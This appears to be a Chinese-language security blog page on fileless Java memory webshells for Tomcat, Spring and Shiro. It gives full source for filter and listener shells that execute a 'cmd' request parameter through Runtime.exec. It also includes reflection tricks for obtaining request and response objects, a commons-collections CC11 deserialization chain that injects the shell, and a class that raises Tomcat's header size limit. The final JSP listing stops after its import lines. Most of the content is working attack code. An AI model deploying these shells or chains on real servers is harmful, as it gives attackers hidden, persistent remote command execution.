分类 web安全 下的文章

  • 真正的内存马


    之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
    但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
    其实主要要解决的问题就是如何获取 request 和 response 对象。
    目前主流的回显技术(部分)主要有:
    • linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
      限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干
    • 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
      限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
    • 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
      限制:会导致http包超长,但相对比较通用。
  • 通过ThreadLocal Response回显


    大致思路是找一个存储 request 和 response 的变量,而且这个的变量不应该是一个全局变量,而应该是一个ThreadLocal,这样才能获取到当前线程的请求信息。而且最好是一个static静态变量,否则我们还需要去获取那个变量所在的实例。最后 kingkk 师傅是找到了 org.apache.catalina.core.ApplicationFilterChain 中的 lastServicedRequest 和 lastServicedResponse
    image-20220216130544132
    通过 set 方法将 requet 和 response 放在这两个变量中,其中的判断条件都可以通过反射进行修改(具体步骤见 demo)
    image-20220216125714318
    内存马实现回显大致思路就是两次访问:
    • 第一次把 request 和 response 存储到 lastServicedRequest 和 lastServicedResponse 中
    • 第二次将其取出,从而将结果写入 response 中从而达到回显目的

    image-20220216142143011
    后续三梦师傅提出了改进策略,通过动态注册一个Filter,并且把其放到最前面,这部分主要需要两个步骤:
    • 先能获取 request 和 response
  • 然后通过 request 或 response 动态注册 Filter
    环境搭建:

    参考木头师傅的 demo
    @WebServlet("/cc")
    public class CCServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            InputStream inputStream = (InputStream) req;
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            try {
                objectInputStream.readObject();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
            resp.getWriter().write("Success");
        }
    
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            InputStream inputStream = req.getInputStream();
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            try {
                objectInputStream.readObject();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
            resp.getWriter().write("Success");
        }
    }
    

    添加 pom.xml
          <groupId>commons-collections</groupId>
                <artifactId>commons-collections</artifactId>
                <version>3.1</version>
    

    漏洞利用:

    第一步是存入 request 和 response,大致思路就是利用反射完成 lastServicedRequest 和 lastServicedResponse 的初始化,其中 WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse 为 static final 变量,且 lastServicedRequest、lastServicedResponse 是私有变量,因此需要 modifiersField 的处理将 FINAL 属性取消掉。
    具体实现步骤为:
    1. 反射把 WRAP_SAME_OBJECT 修改为 true
  1. 反射初始化 lastServicedResponse 变量为 ThreadLocal
  2. 反射从 lastServicedResponse 中获取 tomcat Response(在之后的步骤中实现)
package cc;
  
  import com.sun.org.apache.xalan.internal.xsltc.DOM;
  import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  
  import java.lang.reflect.Modifier;
  
  public class TomcatEcho extends AbstractTranslet {
  
      static {
          try {
              // 修改 WRAP_SAME_OBJECT 值为 true
              Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
              java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
              java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");    //获取modifiers字段
              modifiersField.setAccessible(true);   //将变量设置为可访问
              modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); //取消FINAL属性
              f.setAccessible(true);    //将变量设置为可访问
              if (!f.getBoolean(null)) {
                  f.setBoolean(null, true); //将变量设置为true
              }
  
              // 初始化 lastServicedRequest & lastServicedResponse
              c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
              f = c.getDeclaredField("lastServicedRequest");
              modifiersField = f.getClass().getDeclaredField("modifiers");
              modifiersField.setAccessible(true);
              modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
              f.setAccessible(true);
              if (f.get(null) == null) {
                  f.set(null, new ThreadLocal());   //设置ThreadLocal对象
              }
  
              f = c.getDeclaredField("lastServicedResponse");
              modifiersField = f.getClass().getDeclaredField("modifiers");
              modifiersField.setAccessible(true);
              modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
              f.setAccessible(true);
              if (f.get(null) == null) {
                  f.set(null, new ThreadLocal());   //设置ThreadLocal对象
              }
  
          } catch (Exception e) {
              e.printStackTrace();
          }
      }
      @Override
      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  
      }
  
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
              throws TransletException {
  
      }
  }
  

然后是取出 request 和 response 并注入 filter,和之前 filter 内存马的写法有很多相似之处。

package cc;
  
  import com.sun.org.apache.xalan.internal.xsltc.DOM;
  import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  import org.apache.catalina.LifecycleState;
  import org.apache.catalina.core.ApplicationContext;
  import org.apache.catalina.core.StandardContext;
  
  import java.io.IOException;
  import java.lang.reflect.Field;
  import java.lang.reflect.Method;
  import javax.servlet.Filter;
  import javax.servlet.FilterChain;
  import javax.servlet.FilterConfig;
  import javax.servlet.ServletContext;
  import javax.servlet.ServletException;
  import javax.servlet.ServletRequest;
  import javax.servlet.ServletResponse;
  
  /**
   * @author threedr3am
   */
  public class TomcatInject extends AbstractTranslet implements Filter {
  
      /**
       * webshell命令参数名
       */
      private final String cmdParamName = "cmd";
      private final static String filterUrlPattern = "/*";
      private final static String filterName = "moon_flower";
  
      static {
          try {
              ServletContext servletContext = getServletContext();
              if (servletContext != null){
                  Field ctx = servletContext.getClass().getDeclaredField("context");
                          ctx.setAccessible(true);
                  ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
  
                  Field stdctx = appctx.getClass().getDeclaredField("context");
                  stdctx.setAccessible(true);
                  StandardContext standardContext = (StandardContext) stdctx.get(appctx);
  
                  if (standardContext != null){
                      // 这样设置不会抛出报错
                      Field stateField = org.apache.catalina.util.LifecycleBase.class
                              .getDeclaredField("state");
                      stateField.setAccessible(true);
                      stateField.set(standardContext, LifecycleState.STARTING_PREP);
  
                      Filter myFilter =new TomcatInject();
                      // 调用 doFilter 来动态添加我们的 Filter
                      // 这里也可以利用反射来添加我们的 Filter
                      javax.servlet.FilterRegistration.Dynamic filterRegistration =
                              servletContext.addFilter(filterName,myFilter);
  
                      // 进行一些简单的设置
                      filterRegistration.setInitParameter("encoding", "utf-8");
                      filterRegistration.setAsyncSupported(false);
                      // 设置基本的 url pattern
                      filterRegistration
                              .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                      new String[]{"/*"});
  
                      // 将服务重新修改回来,不然的话服务会无法正常进行
                      if (stateField != null){
                          stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
                      }
  
                      // 在设置之后我们需要 调用 filterstart
                      if (standardContext != null){
                          // 设置filter之后调用 filterstart 来启动我们的 filter
                          Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
                          filterStartMethod.setAccessible(true);
                          filterStartMethod.invoke(standardContext,null);
  
                          /**
                           * 将我们的 filtermap 插入到最前面
                           */
  
                          Class ccc = null;
                          try {
                              ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                          } catch (Throwable t){}
                          if (ccc == null) {
                              try {
                                  ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                              } catch (Throwable t){}
                          }
                          //把filter插到第一位
                          Method m = Class.forName("org.apache.catalina.core.StandardContext")
                                  .getDeclaredMethod("findFilterMaps");
                          Object[] filterMaps = (Object[]) m.invoke(standardContext);
                          Object[] tmpFilterMaps = new Object[filterMaps.length];
                          int index = 1;
                          for (int i = 0; i < filterMaps.length; i++) {
                              Object o = filterMaps[i];
                              m = ccc.getMethod("getFilterName");
                              String name = (String) m.invoke(o);
                              if (name.equalsIgnoreCase(filterName)) {
                                  tmpFilterMaps[0] = o;
                              } else {
                                  tmpFilterMaps[index++] = filterMaps[i];
                              }
                          }
                          for (int i = 0; i < filterMaps.length; i++) {
                              filterMaps[i] = tmpFilterMaps[i];
                          }
                      }
                  }
  
              }
  
          } catch (Exception e) {
              e.printStackTrace();
          }
      }
  
      private static ServletContext getServletContext()
              throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
          ServletRequest servletRequest = null;
          /*shell注入,前提需要能拿到request、response等*/
          Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
          java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
          f.setAccessible(true);
          ThreadLocal threadLocal = (ThreadLocal) f.get(null);
          //不为空则意味着第一次反序列化的准备工作已成功
          if (threadLocal != null && threadLocal.get() != null) {
              servletRequest = (ServletRequest) threadLocal.get();
          }
          //如果不能去到request,则换一种方式尝试获取
  
          //spring获取法1
          if (servletRequest == null) {
              try {
                  c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                  Method m = c.getMethod("getRequestAttributes");
                  Object o = m.invoke(null);
                  c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                  m = c.getMethod("getRequest");
                  servletRequest = (ServletRequest) m.invoke(o);
              } catch (Throwable t) {}
          }
          if (servletRequest != null)
              return servletRequest.getServletContext();
  
          //spring获取法2
          try {
              c = Class.forName("org.springframework.web.context.ContextLoader");
              Method m = c.getMethod("getCurrentWebApplicationContext");
              Object o = m.invoke(null);
              c = Class.forName("org.springframework.web.context.WebApplicationContext");
              m = c.getMethod("getServletContext");
              ServletContext servletContext = (ServletContext) m.invoke(o);
              return servletContext;
          } catch (Throwable t) {}
          return null;
      }
  
      @Override
      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  
      }
  
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
              throws TransletException {
  
      }
  
      @Override
      public void init(FilterConfig filterConfig) throws ServletException {
  
      }
  
      @Override
      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
                           FilterChain filterChain) throws IOException, ServletException {
          System.out.println(
                  "TomcatShellInject doFilter.....................................................................");
          String cmd;
          if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
              Process process = Runtime.getRuntime().exec(cmd);
              java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                      new java.io.InputStreamReader(process.getInputStream()));
              StringBuilder stringBuilder = new StringBuilder();
              String line;
              while ((line = bufferedReader.readLine()) != null) {
                  stringBuilder.append(line + '\n');
              }
              servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
              servletResponse.getOutputStream().flush();
              servletResponse.getOutputStream().close();
              return;
          }
          filterChain.doFilter(servletRequest, servletResponse);
      }
  
      @Override
      public void destroy() {
  
      }
  }
  

至此,两部分的操作都已完成,下一步要做的就是通过 cc11 (只要能动态加载字节码的 cc链都可以)注入内存马

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  import org.apache.commons.collections.functors.InvokerTransformer;
  import org.apache.commons.collections.keyvalue.TiedMapEntry;
  import org.apache.commons.collections.map.LazyMap;
  
  import java.io.*;
  import java.lang.reflect.Field;
  import java.util.HashMap;
  import java.util.HashSet;
  
  @SuppressWarnings("all")
  public class CC11Template {
  
      public static void main(String[] args) throws Exception {
          byte[] bytes = getBytes();
          byte[][] targetByteCodes = new byte[][]{bytes};
          TemplatesImpl templates = TemplatesImpl.class.newInstance();
  
          Field f0 = templates.getClass().getDeclaredField("_bytecodes");
          f0.setAccessible(true);
          f0.set(templates,targetByteCodes);
  
          f0 = templates.getClass().getDeclaredField("_name");
          f0.setAccessible(true);
          f0.set(templates,"name");
  
          f0 = templates.getClass().getDeclaredField("_class");
          f0.setAccessible(true);
          f0.set(templates,null);
  
          // 利用反射调用 templates 中的 newTransformer 方法
          InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
          HashMap innermap = new HashMap();
          LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
          TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
          HashSet hashset = new HashSet(1);
          hashset.add("foo");
          // 我们要设置 HashSet 的 map 为我们的 HashMap
          Field f = null;
          try {
              f = HashSet.class.getDeclaredField("map");
          } catch (NoSuchFieldException e) {
              f = HashSet.class.getDeclaredField("backingMap");
          }
          f.setAccessible(true);
          HashMap hashset_map = (HashMap) f.get(hashset);
  
          Field f2 = null;
          try {
              f2 = HashMap.class.getDeclaredField("table");
          } catch (NoSuchFieldException e) {
              f2 = HashMap.class.getDeclaredField("elementData");
          }
  
          f2.setAccessible(true);
          Object[] array = (Object[])f2.get(hashset_map);
  
          Object node = array[0];
          if(node == null){
              node = array[1];
          }
          Field keyField = null;
          try{
              keyField = node.getClass().getDeclaredField("key");
          }catch(Exception e){
              keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
          }
          keyField.setAccessible(true);
          keyField.set(node,tiedmap);
  
          // 在 invoke 之后,
          Field f3 = transformer.getClass().getDeclaredField("iMethodName");
          f3.setAccessible(true);
          f3.set(transformer,"newTransformer");
  
          try{
            //ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
              ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
              outputStream.writeObject(hashset);
              outputStream.close();
  
          }catch(Exception e){
              e.printStackTrace();
          }
      }
  
      public static byte[] getBytes() throws IOException {
        //    第一次
  //        InputStream inputStream = new FileInputStream(new File("./TomcatEcho.class"));
        //  第二次  
        InputStream inputStream = new FileInputStream(new File("./TomcatInject.class"));
  
          ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
          int n = 0;
          while ((n=inputStream.read())!=-1){
              byteArrayOutputStream.write(n);
          }
          byte[] bytes = byteArrayOutputStream.toByteArray();
          return bytes;
      }
  }

第一次注入:

image-20220216173237233

第二次注入:

image-20220216173252315

最后结果:

image-20220216173323270

  • 通过全局存储 Response回显


    基本上算是通用的了,大致思路就是找一个不受框架限制的变量,其中存储着 request 和 response,原作者 Litch1 师傅找到了继承 Http11Processor 的 AbstractProcessor 中有 Request 和 Response 的 Field,并且都是 final 类型(赋值之后对于对象的引用不会变),也就是说只要能拿到这个 Http11Processor 就可以拿到 request 和 response 了。
    image-20220216194735403
    image-20220216195035724
    还是之前的 debug 方式,在 new Http11Processor 处下个断点,追一下调用栈,发现 new 完之后的东西存在 processor 中,那下一步要做的就是如何获得这个 processor
    image-20220216201513440
    跟进到 register 中,用 rp 存储了 processor 获取到的 RequestInfo,一层一层跟下去也就是拿了个 req,然后会把这个 rp 存在子类(ConnectionHandler)的 global 属性中
    image-20220216201606863
    final 属性,存入后不改变
    image-20220216203454617
    一直跟进到 addRequestProcessor 中,发现会直接 add 到数组中,也就是相当于添加到了 global 的 processors 中
    image-20220216203608608
    image-20220216203710316
    最后知道通过反射拿到 global 中的 processors 属性,就可以通过遍历 processors 获取到 Request 和 Reponse 了。
    而 global 属性是在 AbstractProtocol$ConnectoinHandler 中定义的,那么下一步就是找有没有地方存着 AbstractProtocol 或 它的子类,这里作者找到了 CoyoteAdapter 的 connector,
    image-20220216205136583
    看一下 Connector 这个类,其中有一个 protocolHandler 的接口,而 AbstractProtocol 是 ProtocolHandler 接口的实现类(ctrl + h 查看)
    image-20220216215231351
    那么现在的目标就是如何获取 Connector,在 Tomcat 启动过程中的 setConnector 会触发 addConnector 的操作,将 Connector 放入 Service 中,而 Service 为 StandardService
    image-20220216220237176
    至此的链子串起来就是
    StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response
    

    关于双亲委派机制:(补的一点知识,和漏洞关系不大,可跳过)
    当一个类加载器收到类加载请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载,只有父加载器无法加载这个类的时候,才会由昂前这个加载器来负责类的加载。可以有效的避免类的重复加载,当父加载器已经加载过一个类时,子加载器就不会再重新加载这个类。在代码层的 loadClass 中实现。
    如何破坏双亲委派:
    自定义一个类加载器,重写其中的 loadClass 方法,使其不进行双亲委派。
    为什么 tomcat 要破坏双亲委派:
    Tomcat是 web 容器,那么一个 web 容器可能需要部署多个应用程序,多个应用程序可能会有多个版本的库,这些库中的代码实现可能会不同,但是通过双亲委派要加载的类确实相同的,这就会导致不同版本的库实例化的类时相同的,就会 G。
    关于 tomcat 的隔离机制:
    不是传统的双亲委派机制,而是每个 WebApp 用一个独有的 ClassLoader(WebappClassLoader) 实例来优先处理加载,并不会传递给父加载器。
    如果使用 Thread Context ClassLoader(线程上下文类加载器),Thread类中有 getContextClassLoader() 和 setContextClassLoader(ClassLoader cl) 方法用来获取和设置上下文类加载器,如果没有 setContextClassLoader(ClassLoader cl) 方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于 Tomcat 来说 ContextClassLoader 被设置为 WebAppClassLoader。
    也就是说 WebAppClassLoaderBase 就是我们寻找的 Thread 和 Tomcat 运行上下文的联系之一。
    poc:(参考木头师傅)
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.catalina.core.StandardContext;
    
    import javax.servlet.*;
    import javax.servlet.http.HttpServletRequest;
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.Map;
    
    public class TomcatMemShellInject extends AbstractTranslet implements Filter {
    
        private final String cmdParamName = "cmd";
        private final static String filterUrlPattern = "/*";
        private final static String filterName = "evilFilter";
    
        static {
            try {
    
                Class c = Class.forName("org.apache.catalina.core.StandardContext");
    
                org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                        (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
    
                ServletContext servletContext = standardContext.getServletContext();
    
                Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                Map filterConfigs = (Map) Configs.get(standardContext);
                // 如果我们filter的名字不存在那么就进行注入
                if (filterConfigs.get(filterName) == null){
                    // 将自己作为 Filter 进行注入
    
                    Field stateField = org.apache.catalina.util.LifecycleBase.class
                            .getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                    // 添加恶意 filter
                    Filter MemShell = new TomcatMemShellInject();
    
                    FilterRegistration.Dynamic filterRegistration = servletContext
                            .addFilter(filterName, MemShell);
                    filterRegistration.setInitParameter("encoding", "utf-8");
                    filterRegistration.setAsyncSupported(false);
                    filterRegistration
                            .addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false,
                                    new String[]{filterUrlPattern});
    
                    if (stateField != null) {
                        stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                    }
    
                    if (standardContext != null){
                        Method filterStartMethod = StandardContext.class
                                .getMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext, null);
    
                        Class ccc = null;
                        try {
                            ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                        } catch (Throwable t){}
                        if (ccc == null) {
                            try {
                                ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                            } catch (Throwable t){}
                        }
    
    
                        Method m = c.getMethod("findFilterMaps");
                        Object[] filterMaps = (Object[]) m.invoke(standardContext);
                        Object[] tmpFilterMaps = new Object[filterMaps.length];
                        int index = 1;
                        for (int i = 0; i < filterMaps.length; i++) {
                            Object o = filterMaps[i];
                            m = ccc.getMethod("getFilterName");
                            String name = (String) m.invoke(o);
                            if (name.equalsIgnoreCase(filterName)) {
                                tmpFilterMaps[0] = o;
                            } else {
                                tmpFilterMaps[index++] = filterMaps[i];
                            }
                        }
                        for (int i = 0; i < filterMaps.length; i++) {
                            filterMaps[i] = tmpFilterMaps[i];
                        }
    
                    }
                }
    
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
    
        }
    
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            System.out.println("Do Filter ......");
            String cmd;
            if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }
    
        @Override
        public void destroy() {
    
        }
    }
    

     
  • Shiro 中的内存马注入


    首先考虑回显方式,如果是利用 ApplicationFilterChain 获取回显,在 set 之前执行完了所有的 Filter,对于 shiro 的反序列化利用就打不通,所以考虑用拿 response 全局变量的方式,但这种情况会衍生出新的问题:接收的最大http头部大小为8192,而Cookie 过长。
    第一种思路是通过修改 Tomcat Header 的 maxsize 来进行绕过。
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    @SuppressWarnings("all")
    public class TomcatHeaderSize extends AbstractTranslet {
    
        static {
            try {
                java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
                java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
                java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
                java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
                java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                contextField.setAccessible(true);
                headerSizeField.setAccessible(true);
                serviceField.setAccessible(true);
                requestField.setAccessible(true);
                getHandlerMethod.setAccessible(true);
                org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                        (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
                org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
                org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
                for (int i = 0; i < connectors.length; i++) {
                    if (4 == connectors[i].getScheme().length()) {
                        org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                        if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                            Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                            for (int j = 0; j < classes.length; j++) {
                            // org.apache.coyote.AbstractProtocol$ConnectionHandler
                                if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                    java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                    java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                    globalField.setAccessible(true);
                                    processorsField.setAccessible(true);
                                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                    java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                    for (int k = 0; k < list.size(); k++) {
                                        org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                      // 10000 为修改后的 headersize 
                                        headerSizeField.set(tempRequest.getInputBuffer(),10000);
                                    }
                                }
                            }
                             // 10000 为修改后的 headersize 
                            ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                        }
                    }
                }
            } catch (Exception e) {
            }
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    

    第二种思路就是将 class bytes使用 gzip+base64 压缩编码,就是强行压缩,就不复现了。
    第三种思路是从 post 请求体中发送字节码数据。
    但并不是借助 filter 注入,而是反序列化一个 MyClassLoader,在静态代码块中获取了 Spring Boot上下文里的 request ,response 和 session,然后获取 classData 参数并通过反射调用 defineClass 动态加载此类,实例化后调用其中的 equals 方法传入 request ,response 和 session三个对象。
    但是只限于 springboot + shiro 环境,在 tomcat 下会失败,因为 request 对象是从 Sprint Boot 上下文中获取,而 tomcat 中并没有。
  • 参考文献


和 Filter 内存马相似,都是在程序执行前要执行的部分中添加马(或者说动态注册恶意方法),只不过这个是加载 Listener 中而达到文件不落地并执行命令的目的。

Listener主要分为以下三个大类:

  • ServletContext监听(服务器的启动跟停止时触发)
  • Session监听(Session的建立跟销毁时触发)
  • Request监听(访问服务时触发)

然后就是要想办法创建一个合适的 Listener,并获取到本次请求的 request 对象。

这里用到的是 ServletRequestListener,接收的参数类型是 ServletRequestEvent

demo:

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class ServletListener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("DONE!!!");
    }
}

找一下 ServletRequestEvent 中能不能获取到 request,发现 getServletRequest

image-20220209230023814

其中的 request 属性中有我们需要 Request,可以之间反射获取。

public class ServletListener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmd;
        try {
            cmd = sre.getServletRequest().getParameter("cmd");
            org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
            Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(requestFacade);
            Response response = request.getResponse();

            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i=inputStream.read(bytes)) != -1){
                    response.getWriter().write(new String(bytes,0,i));
                    response.getWriter().write("\r\n");
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

找到地方添加恶意逻辑了,下一步就是如何注册这个 Listener。

先看一下 Listener 的注册流程,首先进入 StandardContext#listenerStart

image-20220209234702534

拿到了 Listener 的名字

image-20220209234755823

然后遍历 listeners 数组,实例化 Listener 并把返回结果放到 results 中

image-20220209234859367

注意这里是先用 getApplicationEventListeners 获取 applicationEventListenersList(即已注册的 Listener),然后调用 setApplicationEventListeners,在 setApplicationEventListeners 中先清空了 applicationEventListenersList,然后重新传入。

image-20220209235657171

Listener 已经注册好了,在命令执行部分打个断点跟一下调用栈

image-20220209233649376

调用的 Listener 来自 this.getApplicationEventListeners()

image-20220209233638879

所以我们的内存马只需要添加到这个数组里面就可以了。

先获取 StandardContext 对象

    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

调用 getApplicationEventListeners 将 applicationEventListenersList ,然后添加恶意的 listener

    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());

最后的马

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
